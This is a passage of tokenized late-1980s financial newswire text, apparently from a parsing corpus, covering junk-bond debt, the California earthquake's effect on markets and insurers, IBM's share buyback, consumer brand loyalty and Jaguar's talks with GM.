% in 1988 . +Result : a landscape littered with lemons , huge debt burdens crushing down upon the arch and spans of corporate America . +The mounting risks did not go unobserved , even in the mid-1980s . +But there were enough promoters announcing the end of history -LRB- in this case suspension of normal laws of economic gravity -RRB- for society to continue shielding its eyes . +Mainstream economists and commentators , craning their necks up at the great pyramids of junk financing , swiveling their heads to watch the avalanche of leveraged buy-outs , claimed the end result would be a leaner , meaner corporate America , with soaring productivity and profits and the weaker gone to the wall . +But this is not where the rewards of junk financing were found . +The beneficiaries were those financiers whose icon was the topic figure of '80s capitalism , Michael Milken 's $ 517 million salary in one year . +Left-stream economists I associate with -- fellows in the Union of Radical Political Economists , most particularly Robert Pollin of the economics faculty at the University of California at Riverside -- were not hypnotized in the manner of their pliant colleagues . +All along they have been noting the tremors and pointing out the underlying realities . +Profit rates after the great merger wave are no higher , and now we have an extremely high-interest burden relative to cash flow . +The consequences of building empires with sand are showing up . +In contrast to previous estimates reckoning the default rate on junk bonds at 2 % or 3 % , a Harvard study published in April of this year -LRB- and discussed in a lead story in The Wall Street Journal for Sept. 18 -RRB- found the default rate on these junk bonds is 34 % . +What is the consequence of a high-interest burden , high default rates and continued low profitability ? +Corporations need liquidity , in the form of borrowed funds . +Without liquidity from the junk-bond market or cash flow from profits , they look to the government , which obediently assists the natural motions of the capitalist economy with charity in the form of cuts in the capital-gains tax rate or bailouts . +The consequence can be inflation , brought on as the effect of a desperate bid to avoid the deflationary shock of a sudden crash . +Attacks on inflation come with another strategy of capital of a very traditional sort : an assault on wages . +Mr. Fukuyama , peering through binoculars at the end of history , said in his essay that `` the class issue has actually been successfully resolved in the West ... +the egalitarianism of modern America represents the essential achievement of the classless society envisioned by Marx . '' +Mr. Fukuyama might want to consult some American workers on the subject of class and egalitarianism . +From its peak in 1972 of $ 198.41 , the average American weekly wage had fallen to $ 169.28 in 1987 -- both figures being expressed in 1977 dollars . +In other words , after the glory boom of the Reagan years , wages had sunk from the post World War II peak by 16 % as capitalists , helped by the government , turned down the screws or went offshore . +But there are signs now -- the strikes by miners , Boeing workers , telephone workers , etc. -- that this attack on wages is being more fiercely resisted . +These are long-term Richter readings on American capitalism . +The whole structure is extremely shaky . +Governments have become sophisticated in handling moments of panic -LRB- a word the London Times forbade my father to use when he was reporting the Wall Street crash in 1929 -RRB- . +But sophistication has its limits . +The S&L bailout could cost $ 300 billion , computing interest on the government 's loans . +These are real costs . +Under what weights will the Federal Deposit Insurance Corporation totter ? +Capitalism may now be engineered to withstand sudden shocks , but there are fault lines -- the crisis in profits , the assault on wages , the structural inequity of the system -- that make fools of those who claim that the future is here and that history is over . +Mr. Cockburn is a columnist for The Nation and LA Weekly . +Japan Air Lines , Lufthansa German Airlines and Air France reportedly plan to form an international air-freight company this year , a move that could further consolidate the industry . +Japanese newspaper Nihon Keizai Shimbun reported that the three giants plan to integrate their cargo computers and ground-cargo and air-cargo systems . +They reportedly will invest a total of 20 billion yen -LRB- $ 140 million -RRB- in the venture , whose headquarters would be in France or West Germany . +The action follows Federal Express Corp. 's acquisition of Flying Tiger Line Inc. in August . +After that , `` it would make sense for airlines to talk about doing things jointly , '' said Cotton Daly , director of cargo services for New York consulting firm Simat , Helliesen & Eichner Inc . +Mr. Daly said such discussions are motivated by the competitive threat posed by Federal Express , United Parcel Service of America Inc. and other fast-growing air-freight companies . +Many airlines are talking about cargo ventures , and there have been rumors about such a tie between JAL and European airlines . +In Tokyo , a JAL spokesman said he could n't confirm or deny the latest Japanese report . +But he said JAL is talking to Lufthansa and Air France about some sort of cargo venture . +`` It is just one of a number of strategies JAL has embarked upon to come to terms with the situation in Europe after 1992 , '' the deadline for ending trade barriers in the EC , he said . +In Frankfurt , a Lufthansa spokesman confirmed talks are under way , but declined to comment . +A Lufthansa spokeswoman in Tokyo said the head of Lufthansa 's cargo operations had been in Toyko last week for talks with JAL . +In Paris , Air France declined to comment . +`` Nothing is defined or signed at this point , '' Mr. Daly said of the talks . +Whatever accord the three carriers reach , he said , he is skeptical it would create a separate airline . +If the three companies pool their air-freight businesses , their clout would be considerable . +According to figures from the International Air Transport Association , they carried a combined 1.8 million tons of freight last year . +Federal Express and Flying Tiger , as separate companies , carried a combined 2.6 million tons . +Air France and Lufthansa last month concluded a far-reaching cooperation accord that includes air-freight activities . +They plan to increase cooperation in freight ground-handling and create a world-wide computer system to process cargo . +Other airlines would have access to the system , they said , and negotiations with partners were already under way . +Both European airlines operate extensive fleets of Boeing 747 freighters and 747 Combis , aircraft that carry both freight and passengers on the main deck . +They currently have large orders for cargo planes . +Several airlines , including Lufthansa , JAL and Cathay Pacific Airways , are working on a so-called global cargo system and are trying to attract other carriers to join , Mr. Daly said . +JAL also has signaled it is looking for toeholds in Europe before the end of 1992 . +Last month , the carrier said it wanted to lease crews and planes from British Airways so it could funnel its passengers from London to other European destinations . +British Airways said it has n't received a proposal from JAL . +But last week there were air-traffic negotiations between the U.K. and Japan , a likely first step to any commercial agreement between JAL and British Airways or another U.K. carrier . +Federal Paper Board Co. said it completed the previously announced purchase of Imperial Cup Corp. , a closely held maker of paper cups based in Kenton , Ohio . +Terms were n't disclosed . +Imperial Cup has annual sales of approximately $ 75 million . +Federal Paper Board sells paper and wood products . +In a move to prevent any dislocation in the financial markets from the California earthquake , the Securities and Exchange Commission said it temporarily reassigned options listed on the Pacific Stock Exchange to the American , New York and Philadelphia stock exchanges and to the Chicago Board Options Exchange . +The decision , which affects millions of dollars of trading positions , was made late yesterday because the Pacific exchange 's options floor was shut down as a result of Tuesday 's earthquake . +The SEC , faced with a major squeeze on options positions , said it was necessary to ensure that options listed on the exchange could be traded today and tomorrow . +SEC Chairman Richard Breeden said the cooperation by the exchanges would enable investors to buy and sell options listed solely on the Pacific exchange , guaranteeing the liquidity of the market . +Officials at the four exchanges said well over 50 traders from the Pacific exchange were taking flights from San Francisco late yesterday to the American , New York and Philadelphia exchanges and to the CBOE , where they would continue making markets in the Pacific-listed options . +The Big Board said carpenters quickly erected a new options floor to accomodate 40 traders from the Pacific exchange . +In addition , specialists on the exchanges agreed to provide backup capital for market-making in Pacific exchange options traded on the exchanges . +Trading was light on the Pacific Stock Exchange yesterday , with workers at the exchange 's main floor in San Francisco struggling to execute orders by flashlight as a result of a continuing power outage . +The most pressing problem was the suspension of options trading . +The Pacific exchange has options for 129 underlying stock issues , including highly active Hilton Hotels Corp. , which is listed on the Big Board . +Investors were concerned that they might be unable to exercise options that expire tomorrow . +But professionals said throughout the day that the shutdown would n't be a cause for alarm even if it were to persist for several days . +`` I 've told my staff and clients that they still have the ability to exercise their options , because they are guaranteed by the Options Clearing Corp. , '' said Michael Schwartz , a senior registered options strategist at Oppenheimer & Co . +The SEC reassigned trading in the options , however , to allow investors to do more than simply exercise the options . +While the exchange 's equities floor in San Francisco remained open on a limited basis , orders were being routed and executed in Los Angeles . +Workers could dial out , but they could n't receive telephone calls . +`` It 's a very uncertain situation right now , '' said Navin Vyas , administrative assistant of trading floor operations of the exchange , which has daily volume of about 10 million shares . +Because the exchange 's computer was rerouting orders to the exchange 's trading operations in Los Angeles , `` business is as usual '' Mr. Vyas said . +`` If one city is down , the other can take over . '' +Meanwhile , the brokerage firms in San Francisco were trying to cope . +Charles Daggs , chairman and chief executive officer of Sutro & Co. , said traders came to work at 5 a.m. PDT -- many on foot because of uncertain road and traffic conditions -- but learned that they would have to await a required inspection by the city in order to turn the power back on at the company 's two main facilities there . +That should happen by today , he said . +Traders worked with the help of sunlight streaming through windows , despite large cracks in the walls and a lack of incoming phone calls . +Also , most of the telecommunications equipment was out . +The traders were executing municipal bond , mutual fund and other orders through a sister firm , Tucker Anthony Inc. , which is also owned by John Hancock Freedom Securities but is based in New York . +`` We are having a regular day . +Volume is down out of San Francisco , but not out of the 11 outlying offices , '' Mr. Daggs added . +Sutro 's Oakland office executed orders through the Sacramento office , which was n't affected by the quake . +Others , like Prudential-Bache Securities Inc. , which has eight offices in the San Francisco area , set up an 800 number yesterday morning for customers to obtain market commentary and other help . +At Kidder , Peabody & Co. 's Sacramento branch , Manager Janet White received calls yesterday morning from workers in San Francisco who offered to work in Sacramento . +Then she discovered that Quotron Systems Inc. 's Sacramento lines were down , because they are normally tied in through a system that goes through San Francisco . +So the Kidder brokers had to call other company offices to get quotes on stocks . +At Quotron , the company 's National Call-In Center , which swung into action for the first time last month for Hurricane Hugo , assembled a tactical team at 5 a.m. yesterday to begin rerouting lines and restore service to brokers and traders . +The company dispatched as many as 200 people in the San Francisco area to do the work , though most of the rerouting was done by computer . +Service appeared to be down throughout the financial district in downtown San Francisco , while just parts of Oakland and San Jose were knocked out . +But Dale Irvine , director of the emergency center , said service was being restored to outlying San Francisco areas . +In Chicago yesterday , Options Clearing confirmed that it guarantees the Pacific exchange options . +The firm also will permit its members and the public `` to exercise their put and call options contracts traded on the Pacific exchange '' even if the exchange is closed , said Wayne Luthringshausen , chairman of Options Clearing . +-LRB- Put options give holders the right , but not the obligation , to sell a financial instrument at a specified price , while call options give holders the right , but not the obligation , to buy a financial instrument at a specified price -RRB- . +Investors and traders in Pacific exchange options `` are protected to the extent that they can convert their put and call options into the underlying instrument , '' Mr. Luthringshausen said . +`` We are seeing such exercises today , in fact . +International Business Machines Corp. said its board approved the purchase of $ 1 billion of its common shares , a move that should help support its battered stock . +Even as the stock market has generally done well this year , IBM 's shares have slipped steadily from its 52-week high of $ 130.875 . +Yesterday 's closing price of $ 101.75 , down 50 cents , in composite trading on the New York Stock Exchange , puts the stock at about 1 1\/2 times book value , which is as low as it has sunk over the past decade . +The announcement came after the market 's close . +The move by IBM was n't exactly a surprise . +The company has spent some $ 5 billion over the past 3 1\/2 years to buy back 42 million common shares , or roughly 7 % of those outstanding . +In addition , despite IBM 's well-publicized recent problems , the computer giant still generates enormous amounts of cash . +As of the end of the second quarter , it had $ 4.47 billion of cash and marketable securities on hand . +As a result , some securities analysts had predicted in recent days that IBM would authorize additional purchases . +In Armonk , N.Y. , a spokesman said that although IBM did n't view its spending as necessarily a way to support the stock , it thought the purchases were a good way to improve such financial measurements as per-share earnings and return on equity . +`` We view it as a good long-term investment , '' the spokesman said . +In the short term , the move is likely to have little effect . +At yesterday 's closing price , $ 1 billion would buy back about 10 million shares , or less than 2 % of the roughly 580 million outstanding . +In addition , as of Sept. 30 , the company still had authorization to buy $ 368 million of stock under a prior repurchase program . +Over the long term , however , IBM 's stock repurchases -- along with its hefty , $ 4.84-a-share annual dividend and generally loyal following among large institutional investors -- are providing a floor for the stock price . +Although IBM last year produced its first strong results in four years and was expected to continue to roll this year , it began faltering as early as January . +First , it had trouble manufacturing a chip for its mainframes , IBM 's bread-and-butter business . +Then it had a series of smaller glitches , including problems manufacturing certain personal computers and the delay in the announcement of some important workstations . +Finally , IBM had to delay the introduction of some high-end disk drives , which account for 10 % of its $ 60 billion of annual revenue . +None of the problems is necessarily fatal , and they are n't all necessarily even related . +There are also other factors at work that are outside IBM 's control , such as currency exchange rates . +The strong dollar , which reduces the value of overseas earnings and revenue when they are translated into dollars , is expected to knock 80 to 85 cents off IBM 's per-share earnings for the full year . +Without that problem , IBM might have matched last year 's earnings of $ 5.81 billion , or $ 9.80 a share . +Still , investors will take some convincing before they get back into IBM 's stock in a big way . +Steve Milunovich , a securities analyst at First Boston , said that while investors were looking for an excuse to buy IBM shares a year ago , even the big institutional investors are looking for a reason to avoid the stock these days . +On Wall Street yesterday , northern California 's killer earthquake was just another chance to make a buck . +At the opening bell , investors quickly began singling out shares of companies expected to profit or suffer in some way from the California disaster , including insurers , construction-related companies , refiners and housing lenders . +Brokerage houses jumped in , touting `` post-quake demand '' stocks , and Kidder , Peabody & Co. set up a toll-free hot line for San Franciscans who might need emergency investment advice and help in transferring funds . +`` Wall Street thinks of everything in terms of money , '' says Tom Gallagher , a senior Oppenheimer & Co. trader . +However , he added , such event-driven trading moves typically last only a few hours and are often made without full information . +The most popular plays of the day were insurance companies such as General Re Corp. , which rose $ 2.75 to $ 86.50 , Nac Re Corp. , up $ 2 to $ 37.75 , American International Group Inc. , up $ 3.25 to $ 102.625 , and Cigna Corp. , up 87.5 cents to $ 62.50 . +Yesterday , the brokerage firm Conning & Co. said insurers will use the earthquake as an excuse to raise insurance rates , ending their long price wars . +Before this bullish theory surfaced , some insurance stocks initially fell , indicating that investors thought the quake might cost insurers a lot of money . +In fact , Fireman 's Fund Corp. , which ended the day off 50 cents to $ 36.50 , said earthquake damage would slightly hurt fourth-quarter profit . +On the prospect for rebuilding northern California , investors bid up cement-makers Calmat Co. , up $ 2.75 to $ 28.75 , and Lone Star Industries Inc. , up $ 1.75 to $ 29.25 . +Bridge and road builders had a field day , including Kasler Corp. , up $ 2.125 to $ 9.875 , Guy F. Atkinson Co. , up 87.5 to $ 61.875 , and Morrison Knudsen Corp. , which reported higher third-quarter earnings yesterday , up $ 2.25 to $ 44.125 . +Fluor Corp. , a construction engineering firm , gained 75 cents to $ 33.375 . +But home-building stocks were a mixed bag . +Timber stocks got a big boost . +Georgia Pacific Corp. , up $ 1.25 to $ 58 , and Maxxam Inc. , up $ 3 to $ 43.75 , both reported strong profits . +Merrill Lynch & Co. touted Georgia-Pacific , Louisiana Pacific Corp. and Willamette Industries Inc. as the best post-quake plywood plays . +Other gainers were companies with one or more undamaged California refineries . +Tosco Corp. jumped $ 1.125 to $ 20.125 and Chevron Corp. , despite a temporary pipeline shutdown , rose $ 1 to $ 65 . +Meanwhile , shares of some big housing lenders got hit , on the likelihood that the lenders ' collateral -- people 's homes -- suffered physical damage and perhaps a loss in value . +Wells Fargo & Co. fell 50 cents to $ 81.50 , and BankAmerica Corp. fell 50 cents to $ 31.875 . +Some California thrift stocks also fell , including Golden West Financial Corp. and H.F. Ahmanson & Co. , which reported lower earnings yesterday . +`` Property values did n't go up in California yesterday , '' says one money manager . +Pacific Gas & Electric Co. fell 37.5 cents to $ 19.625 . +One of its power generators was damaged , though the company said there wo n't be any financial impact . +Pacific Telesis Group lost 62.5 cents to $ 44.625 . +A computer failure delayed its earnings announcement , and some investors think it might have extra costs to repair damaged telephone lines . +Heavy construction , property-casualty insurance and forest products were among the best performing industry groups in the Dow Jones Equity Market Index yesterday . +Friday 's stock market plunge claimed its second victim among the scores of futures and options trading firms here . +Petco Options , an options trading firm owned by the family of the deceased former Chicago Board of Trade chairman Ralph Peters , is getting out of the trade clearing , or processing and guaranteeing , business after sustaining a multimillion dollar loss Friday , options industry officials said . +Nearly 75 options traders on the Chicago Board Options Exchange who cleared trades through Petco , including a handful of traders who lost between $ 500,000 to $ 1 million themselves as a result of Friday 's debacle , are trying to transfer their business to other clearing firms , CBOE members said . +Timothy Vincent , Petco chief executive officer , confirmed that Petco was withdrawing from the clearing business . +`` The owners of the company got a look at the potential risks in this business , and after Monday they felt they did n't want to be exposed any more , '' he said . +He added that Petco remained in compliance with all industry capital requirements during the market 's rapid plunge Friday and Monday 's rebound . +A CBOE spokeswoman declined comment on Petco . +Over the weekend Fossett Corp. , another options trading firm , transferred the clearing accounts of about 160 traders to First Options of Chicago , a unit of Continental Bank Corp. , because it could n't meet regulatory capital requirements after Friday 's market slide . +The unprecedented transfer of accounts underscored the options industry 's desire not to have its credibility tarnished by potentially widespread trading defaults on Monday . +The CBOE , American Stock Exchange , Options Clearing Corp. and Stephen Fossett , owner of Fossett , joined in putting up $ 50 million to guarantee the accounts at First Options . +The head of another small options clearing firm , who asked not to be identified , said that the heightened volatility in the financial markets in recent years makes it increasingly difficult for any but the largest financial trading firms to shoulder the risk inherent in the highly leveraged options and futures business . +Prior to the introduction of financial futures in the late 1970s , most trading firms clustered around the LaSalle Street financial district here were family operations handed down from one generation to the next . +Most also were relatively undercapitalized compared with the size of most Wall Street securities firms . +Mr. Peters , a LaSalle Street legend among the post-World War II generation of commodity traders , was rumored to have amassed a multimillion-dollar fortune from commodity trading and other activities by the time he died in May . +Part of a Series -RCB- +Betty Lombardi is a mild-mannered homemaker and grandmother in rural Hunterdon County , N.J . +But put her behind a shopping cart and she turns ruthless . +If Colgate toothpaste offers a tempting money-saving coupon , she 'll cross Crest off her shopping list without a second thought . +Never mind that her husband prefers Crest . +Some weeks when her supermarket runs a double-coupon promotion , she boasts that she shaves $ 22 off her bill . +Money is n't the only thing that makes her dump once favorite brands . +After she heard about the artery-clogging hazards of tropical oils in many cookies , she dropped Pepperidge Farm and started buying brands free of such oils . +`` I always thought Pepperidge Farm was tasty and high quality , '' Mrs. Lombardi says . +`` But I do n't want any of that oil for my grandkids . '' +-LRB- Pepperidge Farm says it ca n't tell exactly how many customers it has lost , but it hopes to remove the objectionable tropical oil from all its products by year end . -RRB- +Clearly , people like Mrs. Lombardi are giving marketers fits . +She represents a new breed of savvy consumer who puts bargain prices , nutritional and environmental concerns , and other priorities ahead of old-fashioned brand loyalty . +While brand loyalty is far from dead , marketing experts say it has eroded during the 1980s . +Marketers themselves are partly to blame : They 've increased spending for coupons and other short-term promotions at the expense of image-building advertising . +What 's more , a flood of new products has given consumers a dizzying choice of brands , many of which are virtually carbon copies of one other . +`` Marketers have brought this on themselves with their heavy use '' of promotions , contends Joe Plummer , an executive vice president at the D'Arcy Masius Benton & Bowles ad agency . +`` Without some real product improvements , it 's going to be difficult to win that loyalty back . '' +The Wall Street Journal 's `` American Way of Buying '' survey this year found that most consumers switch brands for many of the products they use . +For the survey , Peter D. Hart Research Associates asked some 2,000 consumers , including Mrs. Lombardi , whether they usually buy one brand of a certain type of product or have no brand loyalty . +More than half the users of 17 of the 25 products included in the survey said they 're brand switchers . +Overall , 12 % of consumers are n't brand loyal for any of the 25 product categories . +About 47 % are loyal for one to five of the products . +Only 2 % are brand loyal in 16 to 20 of the categories , and no one is loyal for more than 20 types of products . +For such products as canned vegetables and athletic shoes , devotion to a single brand was quite low , with fewer than 30 % saying they usually buy the same brand . +Only for cigarettes , mayonnaise and toothpaste did more than 60 % of users say they typically stick with the same brand . +People tend to be most loyal to brands that have distinctive flavors , such as cigarettes and ketchup . +Kathie Huff , a respondent in the Journal survey from Spokane , Wash. , says her husband is adamant about eating only Hunt 's ketchup . +He simply ca n't stomach the taste of Heinz , she says . +The 31-year-old homemaker adds , `` The only other thing I 'm really loyal to is my Virginia Slims cigarettes . +Coke and Pepsi are all the same to me , and I usually buy whichever brand of coffee happens to be on sale . '' +Brand imagery plays a significant role in loyalty to such products as cigarettes , perfume and beer . +People often stay with a particular brand because they want to be associated with the image its advertising conveys , whether that 's macho Marlboro cigarettes or Cher 's Uninhibited perfume . +Loyalty lags most for utilitarian products like trash bags and batteries . +Only 23 % of trash-bag users in the Journal survey usually buy the same brand , and just 29 % of battery buyers stick to one brand . +Underwear scored a middling 36 % in brand loyalty , but consumer researchers say that 's actually quite high for such a mundane product . +`` In the past , you just wore Fruit of the Loom and did n't care , '' says Peter Kim , U.S. director of consumer behavior research for the J. Walter Thompson ad agency . +`` The high score reflects the attempts to make underwear more of a fashion image business for both men and women . '' +He believes there 's opportunity for a smart gasoline marketer to create a strong brand image and more consumer loyalty . +What loyalty there is to gas brands , he believes , is a matter of stopping at the most conveniently located service stations . +Brand loyalty was stronger among older consumers in the Journal survey . +Nearly one-fourth of participants age 60 and older claim brand loyalty for more than 10 of the 25 products in the survey ; only 9 % of those age 18 to 29 have such strong allegiance . +Higher-income people also tend to be more brand loyal these days , the Journal survey and other research studies indicate . +Marketers speculate that more affluent people tend to lead more pressured lives and do n't have time to research the products they buy for the highest quality and most reasonable price . +An established brand name is insurance that at least the product will be of acceptable quality , if not always the best value for the money . +It 's sort of loyalty by default . +Meanwhile , `` the bottom end of the market is becoming less loyal , '' says Laurel Cutler , vice chairman of the ad agency FCB\/Leber Katz Partners . +`` They 're buying whatever 's cheaper . '' +The biggest wild card in the brand loyalty game : How those hotly pursued but highly unpredictable baby boomers will behave as they move into middle age . +They grew up with more brand choices than any generation and have shown less allegiance so far . +But now that they 're settling down and raising families , might they also show more stability in their brand choices ? +Mr. Kim of J. Walter Thompson does n't think so . +He believes baby boomers will continue to be selective in their brand loyalties . +`` Earlier generations were brand loyal across categories , '' he says , `` but boomers tend to be brand loyal in categories like running shoes and bottled water , but less so in others like toilet paper and appliances . '' +While not as brand loyal as in the past , consumers today do n't buy products capriciously , either . +Rather , they tend to have a set of two or three favorites . +Sometimes , they 'll choose Ragu spaghetti sauce ; other times , it will be Prego . +Advertisers attribute this shared loyalty to the striking similarity among brands . +If a more absorbent Pampers hits the market , you can be sure a new and improved Huggies wo n't be far behind . +The BBDO Worldwide ad agency studied `` brand parity '' and found that consumers believe all brands are about the same in a number of categories , particularly credit cards , paper towels , dry soups and snack chips . +`` When there 's a clutter of brands , consumers simplify the complexity by telling themselves , ` All brands are the same so what difference does it make which I buy , ' '' says Karen Olshan , a senior vice president at BBDO . +`` Too often , advertising imagery has n't done a good job of forging a special emotional bond between a brand and the consumer . '' +But given such strong brand disloyalty , some marketers are putting renewed emphasis on image advertising . +A small but growing number of companies are also trying to instill more fervent brand loyalty through such personalized direct-marketing ploys as catalogs , magazines and membership clubs for brand users . +While discount promotions are essential for most brands , some companies concede they went overboard in shifting money from advertising to coupons , refunds and other sales incentives . +Some people argue that strong brands can afford to stop advertising for a time because of the residual impact of hundreds of millions of dollars spent on advertising through the years . +But most companies are too afraid to take that chance . +And perhaps with good reason . +Says Clayt Wilhite , president of the D'Arcy Masius ad agency 's U.S. division , `` Every time 24 hours pass without any advertising reinforcement , brand loyalty will diminish ever so slightly -- even for a powerful brand like Budweiser . '' +Consider , for example , what happened to Maxwell House coffee . +The Kraft General Foods brand stopped advertising for about a year in 1987 and gave up several market share points and its leadership position in the coffee business . +But since returning to advertising , Maxwell House has regained the lost share and is running neck and neck with archrival Folgers . +`` Now , Philip Morris -LCB- Kraft General Foods ' parent company -RCB- is committed to the coffee business and to increased advertising for Maxwell House , '' says Dick Mayer , president of the General Foods USA division . +`` Even though brand loyalty is rather strong for coffee , we need advertising to maintain and strengthen it . '' +Campbell Soup Co. , for one , has concluded that it makes good sense to focus more on its most loyal customers than on people who buy competitive brands . +`` The probability of converting a non-user to your brand is about three in 1,000 , '' says Tony Adams , the company 's vice president for marketing research . +`` The best odds are with your core franchise . +Our heavy users consume two to three cans of soup a week , and we 'd like to increase that . '' +So Campbell is talking to its `` brand enthusiasts , '' probing their psychological attachment to its soup . +In one consumer focus group , a fan declared that , `` Campbell 's soup is like getting a hug from a friend . '' +That helped persuade the company to introduce a new advertising slogan : `` A warm hug from Campbell 's . '' +Insurers face the prospect of paying out billions of dollars for damages caused by this week 's California earthquake . +Getting a grip on the extent of the damages is proving a far more difficult task than what insurers faced after Hurricane Hugo ripped through the Caribbean and the Carolinas last month . +The earthquake 's toll , including possible deep structural damage , goes far beyond the more easily observed damage from a hurricane , says George Reider , a vice president in Aetna Life & Casualty Insurance Co. 's claims division . +But investors are betting that the financial and psychological impact of the earthquake , coming so soon after the hurricane , will help stem more than two years of intense price-cutting wars among business insurers . +Reflecting that logic , insurance-company stocks posted strong gains . +Aetna and other insurers are hiring engineers and architects to help them assess structural damage . +Most insurers already have mobilized their `` catastrophe '' teams to begin processing claims from their policyholders in northern California . +Since commercial air travel is interrupted , Aetna , based in Hartford , Conn. , chartered three planes to fly claims adjusters into Sacramento and then planned for them to drive to the Bay area . +About 25 adjusters were dispatched yesterday afternoon , along with laptop computers , cellular phones and blank checks . +Some adjusters , already in other parts of California , drove to the disaster area with recreational vehicles and mobile homes that could be used as makeshift claims-processing centers . +Insurers will be advertising 800 numbers -- probably on the radio -- that policyholders can call to get assistance on how to submit claims . +State Farm Mutual Automobile Insurance Co. , the largest home and auto insurer in California , believes the losses from the earthquake could be somewhat less than the $ 475 million in damages it expects to pay out for claims resulting from Hurricane Hugo . +State Farm , based in Bloomington , Ind. , is also the largest writer of personal-property earthquake insurance in California . +Earthquake insurance is sold as a separate policy or a specific endorsement `` rider '' on a homeowner 's policy in California , because of the area 's vulnerability to earthquakes . +State Farm said about 25 % of its policyholders in California have also purchased earthquake insurance . +Allstate Insurance Co. , a unit of Sears , Roebuck & Co. , said about 23 % of its personal property policyholders -- about 28 % in the San Franciso area -- also have earthquake coverage . +The Association of California Insurance Companies estimated damage to residential property could total $ 500 million , but only $ 100 million to $ 150 million is insured , it said . +Officials from the American Insurance Association 's property-claim service division , which coordinates the efforts of the claims adjusters in an area after a natural disaster , will be flying to San Francisco today . +They expect to have a preliminary estimate of the damages in a day or two . +Roads and bridges in the Bay area appear to have suffered some of the most costly damage . +Highways , such as the section of Interstate 880 that collapsed in Oakland , generally do n't have insurance coverage . +Industry officials say the Bay Bridge -- unlike some bridges -- has no earthquake coverage , either , so the cost of repairing it probably would have to be paid out of state general operating funds . +However , the bridge , which charges a $ 1 toll each way , does have `` loss of income '' insurance to replace lost revenue if the operation of the bridge is interrupted for more than seven days . +That coverage is provided by a syndicate of insurance companies including Fireman 's Fund Corp. , based in Novato , Calif. , and Cigna Corp. , based in Philadelphia . +Earthquake-related claims are n't expected to cause significant financial problems for the insurance industry as a whole . +Instead , even with the liabilities of two natural disasters in recent weeks , analysts said the total capital of the industry is likely to be higher at year end than it was at midyear . +Indeed , the earthquake could contribute to a turnaround in the insurance cycle in a couple of ways . +For example , insurers may seek to limit their future exposure to catastrophes by increasing the amount of reinsurance they buy . +Such increased demand for reinsurance , along with the losses the reinsurers will bear from these two disasters , are likely to spur increases in reinsurance prices that will later be translated into an overall price rise . +Reinsurance is protection taken out by the insurance firms themselves . +`` We are saying this is the breaking point , this is the event that will change the psychology of the marketplace , '' said William Yankus , an analyst with Conning & Co. , a Hartford firm that specializes in the insurance industry . +His firm , along with some others , issued new buy recommendations on insurer stocks yesterday . +Among the insurance stocks , big gainers included American International Group , up $ 3.25 to $ 102.625 ; General Re Corp. , up $ 2.75 to $ 86.50 ; Aetna , up $ 2.375 to $ 59.50 ; and Marsh & McLennan Inc. , up $ 3.125 to $ 75.875 . +Still , a few individual companies , most likely smaller ones , could be devastated . +`` I think there is a damned good chance someone is going to hit the skids on this , '' said Oppenheimer & Co. analyst Myron Picoult . +He suspects some insurers who had purchased reinsurance to limit their exposure to catastrophes will discover that reinsurance was used up by Hurricane Hugo . +British , West German , Scandinavian and other overseas insurers are bracing for big claims from the San Francisco earthquake disaster . +Although it 's unclear how much exposure the London market will face , U.K. underwriters traditionally have a large reinsurance exposure to U.S. catastrophe coverage . +Jack Byrne , chairman of Fireman 's Fund , said this disaster will test the catastrophe reinsurance market , causing these rates to soar . +The catastrophe losses sustained by insurers this year will probably be the worst on an inflation-adjusted basis since 1906 -- when another earthquake sparked the Great San Francisco Fire . +Orin Kramer , an insurance consultant in New York , estimates that the 1906 San Francisco destruction , on an inflation-adjusted basis , included insured losses of $ 5.8 billion . +He is estimating this week 's disaster will generate insured losses of $ 2 billion to $ 4 billion , following about $ 4 billion in costs to insurers from Hurricane Hugo . +Silicon Graphics Inc. 's first-quarter profit rose sharply to $ 5.2 million , or 28 cents a share , from $ 1 million , or six cents a share , a year ago . +The maker of computer workstations said a surge of government orders contributed to the increase . +Revenue rose 95 % to $ 86.4 million from $ 44.3 million the year earlier . +In national over-the-counter trading , the company closed yesterday at $ 23.25 a share , down 25 cents . +Hunter Environmental Services Inc. said it reached a preliminary accord on the sale of its environmental consulting and services business for about $ 40 million and assumption of related debt . +The buyer was n't identified . +The company said it also is making progress in negotiating the buy-out of its design division by management . +In addition , Hunter said it will use proceeds from a private placement of $ 8 million of preferred shares to purchase an interest in a start-up company to underwrite environmental impairment insurance . +Hunter wants to concentrate its resources on the insurance business and on a project to store hazardous wastes in salt domes . +Jaguar PLC 's chairman said he hopes to reach a friendly pact with General Motors Corp. within a month that may involve the British luxury-car maker 's producing a cheaper executive model . +Sir John Egan told reporters at London 's Motorfair yesterday he `` would be disappointed if we could n't do -LCB- the deal -RCB- within a month . '' +He said the tie-up would mean Jaguar could `` develop cars down range -LCB- in price -RCB- from where we are '' by offering access to GM 's high-volume parts production . +Besides creating joint manufacturing ventures , the accord is expected to give GM about a 15 % stake that eventually would rise to about 30 % . +Jaguar figures a friendly alliance with GM will fend off unwelcome advances from Ford Motor Co . +But Ford , Jaguar 's biggest shareholder since lifting its stake to 10.4 % this week , is pressing harder for talks with Sir John . +`` We 're getting to the point where we are going to have to meet '' with him , one Ford official said yesterday . +Ford probably will renew its request for such a meeting soon , he added . +Sir John has spurned Ford 's advances since the U.S. auto giant launched a surprise bid for as much as 15 % of Jaguar last month . +Ford has signaled it might acquire a majority interest later . +`` I 'm not obligated to sit down and talk to anybody , '' the Jaguar chairman asserted yesterday . +He did n't rule out negotiations with Ford , however . +The fiercely proud but financially strapped British company prefers to remain independent and publicly held , despite Ford 's promise of access to cash and technological know-how . +Sir John noted that GM , a longtime Jaguar supplier , agrees `` we should remain an independent company . '' +He said Jaguar started negotiating with GM and several other car makers over a year ago , but the rest `` dropped by the wayside ever since the share price went above # 4 -LRB- $ 6.30 -RRB- a share . '' +Jaguar shares stood at 405 pence before Ford 's initial announcement , but the subsequent takeover frenzy has driven them up . +The stock traded late yesterday on London 's stock exchange at 673 pence , up 19 pence . +Developing an executive-model range would mark a major departure for Britain 's leading luxury-car maker . +A typical British executive car is mass produced and smaller than a luxury car . +It generally fetches no more than # 25,000 -LRB- $ 39,400 -RRB- -- roughly # 16,000 less than the highest-priced Jaguars , which are all known for their hand-crafted leather work . +`` We have designs for such -LCB- executive -RCB- cars , but have never been able to develop them , '' Sir John said . +GM 's help would `` make it possible -LCB- for Jaguar -RCB- to build a wider range of cars . '' +An executive model would significantly boost Jaguar 's yearly output of 50,000 cars . +`` You are talking about a couple hundred thousand a year , '' said Bob Barber , an auto-industry analyst at U.K. brokerage James Capel & Co . +A pact with GM may emerge in as little as two weeks , according to sources close to the talks . +The deal would require approval by a majority of Jaguar shareholders . +`` 